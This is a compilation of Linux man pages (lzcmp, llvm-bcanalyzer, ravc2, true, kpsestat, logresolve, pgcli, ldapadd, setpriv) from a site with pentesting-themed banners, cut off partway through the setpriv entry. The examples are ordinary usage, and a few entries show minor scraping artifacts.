  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

116 - Linux cli command lzcmp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzcmp and provides detailed information about the command lzcmp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzcmp.

NAME 🖥️ lzcmp 🖥️

compare compressed files

SYNOPSIS

xzcmp [option…] file1 [file2]
xzdiff
lzcmp
lzdiff

DESCRIPTION

xzcmp and xzdiff compare uncompressed contents of two files. Uncompressed data and options are passed to cmp(1) or diff(1) unless –help or –version is specified.

If both file1 and file2 are specified, they can be uncompressed files or files in formats that xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) can decompress. The required decompression commands are determined from the filename suffixes of file1 and file2. A file with an unknown suffix is assumed to be either uncompressed or in a format that xz(1) can decompress.

If only one filename is provided, file1 must have a suffix of a supported compression format and the name for file2 is assumed to be file1 with the compression format suffix removed.

The commands lzcmp and lzdiff are provided for backward compatibility with LZMA Utils.

EXIT STATUS

If a decompression error occurs, the exit status is 2. Otherwise the exit status of cmp(1) or diff(1) is used.

SEE ALSO

cmp(1), diff(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

117 - Linux cli command llvm-bcanalyzer-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-bcanalyzer-17 and provides detailed information about the command llvm-bcanalyzer-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-bcanalyzer-17.

NAME 🖥️ llvm-bcanalyzer-17 🖥️

bcanalyzer - LLVM bitcode analyzer

SYNOPSIS

llvm-bcanalyzer [options] [filename]

DESCRIPTION

The llvm-bcanalyzer command is a small utility for analyzing bitcode files. The tool reads a bitcode file (such as generated with the llvm-as tool) and produces a statistical report on the contents of the bitcode file. The tool can also dump a low level but human readable version of the bitcode file. This tool is probably not of much interest or utility except for those working directly with the bitcode file format. Most LLVM users can just ignore this tool.

If filename is omitted or is -, then llvm-bcanalyzer reads its input from standard input. This is useful for combining the tool into a pipeline. Output is written to the standard output.

OPTIONS

–dump
Causes llvm-bcanalyzer to dump the bitcode in a human readable format. This format is significantly different from LLVM assembly and provides details about the encoding of the bitcode file.

–help
Print a summary of command line options.

EXIT STATUS

If llvm-bcanalyzer succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value, usually 1.

SUMMARY OUTPUT DEFINITIONS

The following items are always printed by llvm-bcanalyzer. They comprize the summary output.

Bitcode Analysis Of Module

This just provides the name of the module for which bitcode analysis is being generated.

Bitcode Version Number

The bitcode version (not LLVM version) of the file read by the analyzer.

File Size

The size, in bytes, of the entire bitcode file.

Module Bytes

The size, in bytes, of the module block. Percentage is relative to File Size.

Function Bytes

The size, in bytes, of all the function blocks. Percentage is relative to File Size.

Global Types Bytes

The size, in bytes, of the Global Types Pool. Percentage is relative to File Size. This is the size of the definitions of all types in the bitcode file.

Constant Pool Bytes

The size, in bytes, of the Constant Pool Blocks Percentage is relative to File Size.

Module Globals Bytes

Ths size, in bytes, of the Global Variable Definitions and their initializers. Percentage is relative to File Size.

Instruction List Bytes

The size, in bytes, of all the instruction lists in all the functions. Percentage is relative to File Size. Note that this value is also included in the Function Bytes.

Compaction Table Bytes

The size, in bytes, of all the compaction tables in all the functions. Percentage is relative to File Size. Note that this value is also included in the Function Bytes.

Symbol Table Bytes

The size, in bytes, of all the symbol tables in all the functions. Percentage is relative to File Size. Note that this value is also included in the Function Bytes.

Dependent Libraries Bytes

The size, in bytes, of the list of dependent libraries in the module. Percentage is relative to File Size. Note that this value is also included in the Module Global Bytes.

Number Of Bitcode Blocks

The total number of blocks of any kind in the bitcode file.

Number Of Functions

The total number of function definitions in the bitcode file.

Number Of Types

The total number of types defined in the Global Types Pool.

Number Of Constants

The total number of constants (of any type) defined in the Constant Pool.

Number Of Basic Blocks

The total number of basic blocks defined in all functions in the bitcode file.

Number Of Instructions

The total number of instructions defined in all functions in the bitcode file.

Number Of Long Instructions

The total number of long instructions defined in all functions in the bitcode file. Long instructions are those taking greater than 4 bytes. Typically long instructions are GetElementPtr with several indices, PHI nodes, and calls to functions with large numbers of arguments.

Number Of Operands

The total number of operands used in all instructions in the bitcode file.

Number Of Compaction Tables

The total number of compaction tables in all functions in the bitcode file.

Number Of Symbol Tables

The total number of symbol tables in all functions in the bitcode file.

Number Of Dependent Libs

The total number of dependent libraries found in the bitcode file.

Total Instruction Size

The total size of the instructions in all functions in the bitcode file.

Average Instruction Size

The average number of bytes per instruction across all functions in the bitcode file. This value is computed by dividing Total Instruction Size by Number Of Instructions.

Maximum Type Slot Number

The maximum value used for a type’s slot number. Larger slot number values take more bytes to encode.

Maximum Value Slot Number

The maximum value used for a value’s slot number. Larger slot number values take more bytes to encode.

Bytes Per Value

The average size of a Value definition (of any type). This is computed by dividing File Size by the total number of values of any type.

Bytes Per Global

The average size of a global definition (constants and global variables).

Bytes Per Function

The average number of bytes per function definition. This is computed by dividing Function Bytes by Number Of Functions.

# of VBR 32-bit Integers

The total number of 32-bit integers encoded using the Variable Bit Rate encoding scheme.

# of VBR 64-bit Integers

The total number of 64-bit integers encoded using the Variable Bit Rate encoding scheme.

# of VBR Compressed Bytes

The total number of bytes consumed by the 32-bit and 64-bit integers that use the Variable Bit Rate encoding scheme.

# of VBR Expanded Bytes

The total number of bytes that would have been consumed by the 32-bit and 64-bit integers had they not been compressed with the Variable Bit Rage encoding scheme.

Bytes Saved With VBR

The total number of bytes saved by using the Variable Bit Rate encoding scheme. The percentage is relative to # of VBR Expanded Bytes.

DETAILED OUTPUT DEFINITIONS

The following definitions occur only if the -nodetails option was not given. The detailed output provides additional information on a per-function basis.

Type

The type signature of the function.

Byte Size

The total number of bytes in the function’s block.

Basic Blocks

The number of basic blocks defined by the function.

Instructions

The number of instructions defined by the function.

Long Instructions

The number of instructions using the long instruction format in the function.

Operands

The number of operands used by all instructions in the function.

Instruction Size

The number of bytes consumed by instructions in the function.

Average Instruction Size

The average number of bytes consumed by the instructions in the function. This value is computed by dividing Instruction Size by Instructions.

Bytes Per Instruction

The average number of bytes used by the function per instruction. This value is computed by dividing Byte Size by Instructions. Note that this is not the same as Average Instruction Size. It computes a number relative to the total function size not just the size of the instruction list.

Number of VBR 32-bit Integers

The total number of 32-bit integers found in this function (for any use).

Number of VBR 64-bit Integers

The total number of 64-bit integers found in this function (for any use).

Number of VBR Compressed Bytes

The total number of bytes in this function consumed by the 32-bit and 64-bit integers that use the Variable Bit Rate encoding scheme.

Number of VBR Expanded Bytes

The total number of bytes in this function that would have been consumed by the 32-bit and 64-bit integers had they not been compressed with the Variable Bit Rate encoding scheme.

Bytes Saved With VBR

The total number of bytes saved in this function by using the Variable Bit Rate encoding scheme. The percentage is relative to # of VBR Expanded Bytes.

SEE ALSO

llvm-dis(1), LLVM Bitcode File Format

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

118 - Linux cli command ravc2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ravc2 and provides detailed information about the command ravc2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ravc2.

This command is part of the radare project.

Implements a simple version control system that aims to work as frontend for git, as well as its own structure for versioning project changes.

This command is pretty new and experimental.

Show usage help message

Display version

Available variable types are:

ravc2 init echo hello world > README.md ravc2 add README.md ravc2 branch ravc2 commit

RAVC2_USER overrides cfg.user, which is based on r_sys_whoami() which is used to define the author for the VC commits.

Written by pancake <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

119 - Linux cli command true

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command true and provides detailed information about the command true, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the true.

NAME 🖥️ true 🖥️

do nothing, successfully

SYNOPSIS

true [ignored command line arguments]
true OPTION

DESCRIPTION

Exit with a status code indicating success.

–help
display this help and exit

–version
output version information and exit

NOTE: your shell may have its own version of true, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

AUTHOR

Written by Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/true>
or available locally via: info ‘(coreutils) true invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

120 - Linux cli command kpsestat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kpsestat and provides detailed information about the command kpsestat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kpsestat.

NAME 🖥️ kpsestat 🖥️

compute octal mode from mode of existing file

SYNOPSIS

kpsestat mode file

DESCRIPTION

kpsestat prints the octal permission of file modified according to mode on standard output. The mode parameter accepts a subset of the symbolic permissions accepted by chmod(1). Use = as the mode to obtain the unchanged permissions.

OPTIONS

kpsestat accepts the following options:

–help
Print help message and exit.

–version
Print version information and exit.

SEE ALSO

chmod(1).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

121 - Linux cli command logresolve

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command logresolve and provides detailed information about the command logresolve, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the logresolve.

\1

\1

NAME 🖥️ logresolve 🖥️

Resolve IP-addresses to hostnames in Apache log files

SYNOPSIS

logresolve [ -s filename ] [ -c ] < access_log > access_log.new

SUMMARY

logresolve is a post-processing program to resolve IP-addresses in Apache’s access logfiles. To minimize impact on your nameserver, logresolve has its very own internal hash-table cache. This means that each IP number will only be looked up the first time it is found in the log file.

Takes an Apache log file on standard input. The IP addresses must be the first thing on each line and must be separated from the remainder of the line by a space.

OPTIONS

-s filename
Specifies a filename to record statistics.

-c
This causes logresolve to apply some DNS checks: after finding the hostname from the IP address, it looks up the IP addresses for the hostname and checks that one of these matches the original address.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

122 - Linux cli command pgcli

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgcli and provides detailed information about the command pgcli, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgcli.

NAME 🖥️ pgcli 🖥️

CLI for PostgreSQL with auto-completion and syntax highlighting

SYNOPSIS

pgcli [OPTIONS] [DATABASE] [USERNAME]

DESCRIPTION

pgcli is a command line interface for PostgreSQL with auto-completion and syntax highlighting. It is also capable of pretty printing tabular data.

OPTIONS

-h|–host TEXT
Host address of the postgres database.

-p|–port INTEGER
Port number at which the postgres instance is listening.

-U|–user TEXT
User name to connect to the postgres database.

-W|–password
Force password prompt.

-w|–no-password
Never prompt for password.

-v|–version
Version of pgcli.

-d|–dbname TEXT
Database name to connect to.

–pgclirc TEXT
Location of pgclirc file.

–help
Show this message and exit.

EXAMPLES

$ pgcli local_database

$ pgcli postgres://amjith:[email protected]:5432/app_db
$ pgcli -h localhost -p 5432 -U amjith app_db

SEE ALSO

litecli(1)

mycli(1)
iredis(1)

HOMEPAGE

More information about pgcli and the DBCLI project can be found on the homepage at https://www.pgcli.com and https://www.dbcli.com.

AUTHORS

pgcli was written by Amjith Ramanujam <[email protected]>.

This manual page was written by Lennart Weller <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

123 - Linux cli command ldapadd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ldapadd and provides detailed information about the command ldapadd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ldapadd.

NAME 🖥️ ldapadd 🖥️

LDAP modify entry and LDAP add entry tools

SYNOPSIS

ldapmodify [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -a] [ -c] [ -f* file]* [ -S* file]* [ -M[M]] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -P {2 | 3}] [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]]

ldapadd [ -V[V]] [ -d* debuglevel]* [ -n] [ -v] [ -c] [ -f* file]* [ -S* file]* [ -M[M]] [ -x] [ -D* binddn]* [ -W] [ -w* passwd]* [ -y* passwdfile]* [ -H* ldapuri]* [ -P {2 | 3}] [ -e [!]ext[=extparam]] [ -E [!]ext[=extparam]] [ -o* opt***[=optparam]]** [ -O* security-properties]* [ -I] [ -Q] [ -N] [ -U* authcid]* [ -R* realm]* [ -X* authzid]* [ -Y* mech]* [ -Z[Z]]

DESCRIPTION

ldapmodify is a shell-accessible interface to the ldap_add_ext(3), ldap_modify_ext(3), ldap_delete_ext(3) and ldap_rename(3). library calls. ldapadd is implemented as a hard link to the ldapmodify tool. When invoked as ldapadd the -a (add new entry) flag is turned on automatically.

ldapmodify opens a connection to an LDAP server, binds, and modifies or adds entries. The entry information is read from standard input or from file through the use of the -f option.

OPTIONS

-V[V]
Print version info. If -VV is given, only the version information is printed.

-d* debuglevel*
Set the LDAP debugging level to debuglevel. ldapmodify must be compiled with LDAP_DEBUG defined for this option to have any effect.

-n
Show what would be done, but don’t actually modify entries. Useful for debugging in conjunction with -v.

-v
Use verbose mode, with many diagnostics written to standard output.

-a
Add new entries. The default for ldapmodify is to modify existing entries. If invoked as ldapadd, this flag is always set.

-c
Continuous operation mode. Errors are reported, but ldapmodify will continue with modifications. The default is to exit after reporting an error.

-f* file*
Read the entry modification information from file instead of from standard input.

-S* file*
Add or change records which were skipped due to an error are written to file and the error message returned by the server is added as a comment. Most useful in conjunction with -c.

-M[M]
Enable manage DSA IT control. -MM makes control critical.

-x
Use simple authentication instead of SASL.

-D* binddn*
Use the Distinguished Name binddn to bind to the LDAP directory. For SASL binds, the server is expected to ignore this value.

-W
Prompt for simple authentication. This is used instead of specifying the password on the command line.

-w* passwd*
Use passwd as the password for simple authentication.

-y* passwdfile*
Use complete contents of passwdfile as the password for simple authentication.

-H* ldapuri*
Specify URI(s) referring to the ldap server(s); only the protocol/host/port fields are allowed; a list of URI, separated by whitespace or commas is expected.

-P {2 | 3}
Specify the LDAP protocol version to use.

-e [!]ext[=extparam]
-E [!]ext[=extparam]
Specify general extensions with -e and modify extensions with -E. ‘!’ indicates criticality.

General extensions:

  [!]assert=<filter>    (an RFC 4515 Filter)
  !authzid=<authzid>    ("dn:<dn>" or "u:<user>")
  [!]bauthzid           (RFC 3829 authzid control)
  [!]chaining[=<resolve>[/<cont>]]
  [!]manageDSAit
  [!]noop
  ppolicy
  [!]postread[=<attrs>] (a comma-separated attribute list)
  [!]preread[=<attrs>]  (a comma-separated attribute list)
  [!]relax
  sessiontracking[=<username>]
  abandon,cancel,ignore (SIGINT sends abandon/cancel,
  or ignores response; if critical, doesn't wait for SIGINT.
  not really controls)

Modify extensions:

  [!]txn[=abort|commit]

-o* opt***[=optparam]]**
Specify any ldap.conf(5) option or one of the following:

  nettimeout=<timeout>  (in seconds, or "none" or "max")
  ldif_wrap=<width>     (in columns, or "no" for no wrapping)

-O* security-properties*
Specify SASL security properties.

-I
Enable SASL Interactive mode. Always prompt. Default is to prompt only as needed.

-Q
Enable SASL Quiet mode. Never prompt.

-N
Do not use reverse DNS to canonicalize SASL host name.

-U* authcid*
Specify the authentication ID for SASL bind. The form of the ID depends on the actual SASL mechanism used.

-R* realm*
Specify the realm of authentication ID for SASL bind. The form of the realm depends on the actual SASL mechanism used.

-X* authzid*
Specify the requested authorization ID for SASL bind. authzid must be one of the following formats: dn:<distinguished name> or u:<username>

-Y* mech*
Specify the SASL mechanism to be used for authentication. If it’s not specified, the program will choose the best mechanism the server knows.

-Z[Z]
Issue StartTLS (Transport Layer Security) extended operation. If you use -ZZ , the command will require the operation to be successful.

INPUT FORMAT

The contents of file (or standard input if no -f flag is given on the command line) must conform to the format defined in ldif(5) (LDIF as defined in RFC 2849).

EXAMPLES

Assuming that the file /tmp/entrymods exists and has the contents:

    dn: cn=Modify Me,dc=example,dc=com
    changetype: modify
    replace: mail
    mail: [email protected]
    -
    add: title
    title: Grand Poobah
    -
    add: jpegPhoto
    jpegPhoto:< file:///tmp/modme.jpeg
    -
    delete: description
    -

the command:

    ldapmodify -f /tmp/entrymods

will replace the contents of the “Modify Me” entry’s mail attribute with the value “[email protected]”, add a title of “Grand Poobah”, and the contents of the file “/tmp/modme.jpeg” as a jpegPhoto, and completely remove the description attribute.

Assuming that the file /tmp/newentry exists and has the contents:

    dn: cn=Barbara Jensen,dc=example,dc=com
    objectClass: person
    cn: Barbara Jensen
    cn: Babs Jensen
    sn: Jensen
    title: the world's most famous mythical manager
    mail: [email protected]
    uid: bjensen

the command:

    ldapadd -f /tmp/newentry

will add a new entry for Babs Jensen, using the values from the file /tmp/newentry.

Assuming that the file /tmp/entrymods exists and has the contents:

    dn: cn=Barbara Jensen,dc=example,dc=com
    changetype: delete

the command:

    ldapmodify -f /tmp/entrymods

will remove Babs Jensen’s entry.

DIAGNOSTICS

Exit status is zero if no errors occur. Errors result in a non-zero exit status and a diagnostic message being written to standard error.

SEE ALSO

ldapadd(1), ldapdelete(1), ldapmodrdn(1), ldapsearch(1), ldap.conf(5), ldap(3), ldap_add_ext(3), ldap_delete_ext(3), ldap_modify_ext(3), ldap_modrdn_ext(3), ldif(5).

AUTHOR

The OpenLDAP Project <http://www.openldap.org/>

ACKNOWLEDGEMENTS

OpenLDAP Software is developed and maintained by The OpenLDAP Project <http://www.openldap.org/>. OpenLDAP Software is derived from the University of Michigan LDAP 3.3 Release.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

124 - Linux cli command setpriv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setpriv and provides detailed information about the command setpriv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setpriv.

NAME 🖥️ setpriv 🖥️

run a program with different Linux privilege settings

SYNOPSIS

setpriv [options] program [arguments]

DESCRIPTION

Sets or queries various Linux privilege settings that are inherited across execve(2).

In comparison to su(1) and runuser(1), setpriv neither uses PAM, nor does it prompt for a password. It is a simple, non-set-user-ID wrapper around execve(2), and can be used to drop privileges in the same way as setuidgid(8) from daemontools, chpst(8) from runit, or similar tools shipped by other service managers.

OPTIONS

–clear-groups

Clear supplementary groups.

-d, –dump

Dump the current privilege state. This option can be specified more than once to show extra, mostly useless, information. Incompatible with all other options.

–groups group

Set supplementary groups. The argument is a comma-separated list of GIDs or names.

–inh-caps (+|-)cap…, –ambient-caps (+|-)cap…, –bounding-set (+|-)cap

Set the inheritable capabilities, ambient capabilities or the capability bounding set. See capabilities(7). The argument is a comma-separated list of **+**cap and **-**cap entries, which add or remove an entry respectively. cap can either be a human-readable name as seen in capabilities(7) without the cap_ prefix or of the format cap_N, where N is the internal capability index used by Linux. +all and -all can be used to add or remove all caps.

The set of capabilities starts out as the current inheritable set for –inh-caps, the current ambient set for –ambient-caps and the current bounding set for –bounding-set.

Note the following restrictions (detailed in capabilities(7)) regarding modifications to these capability sets:

·

A capability can be added to the inheritable set only if it is currently present in the bounding set.

·

A capability can be added to the ambient set only if it is currently present in both the permitted and inheritable sets.

·

Notwithstanding the syntax offered by setpriv, the kernel does not permit capabilities to be added to the bounding set.

If you drop a capability from the bounding set without also dropping it from the inheritable set, you are likely to become confused. Do not do that.

–keep-groups

Preserve supplementary groups. Only useful in conjunction with –rgid, –egid, or –regid.

–init-groups

Initialize supplementary groups using initgroups3. Only useful in conjunction with –ruid or –reuid.

–list-caps

List all known capabilities. This option must be specified alone.

–no-new-privs

Set the no_new_privs bit. With this bit set, execve(2) will not grant new privileges. For example, the set-user-ID and set-group-ID bits as well as file capabilities will be disabled. (Executing binaries with these bits set will still work, but they will not gain privileges. Certain LSMs, especially AppArmor, may result in failures to execute certain programs.) This bit is inherited by child processes and cannot be unset. See prctl(2) and Documentation/prctl/no_new_privs.txt in the Linux kernel source.

The no_new_privs bit is supported since Linux 3.5.

–rgid gid, –egid gid, –regid gid

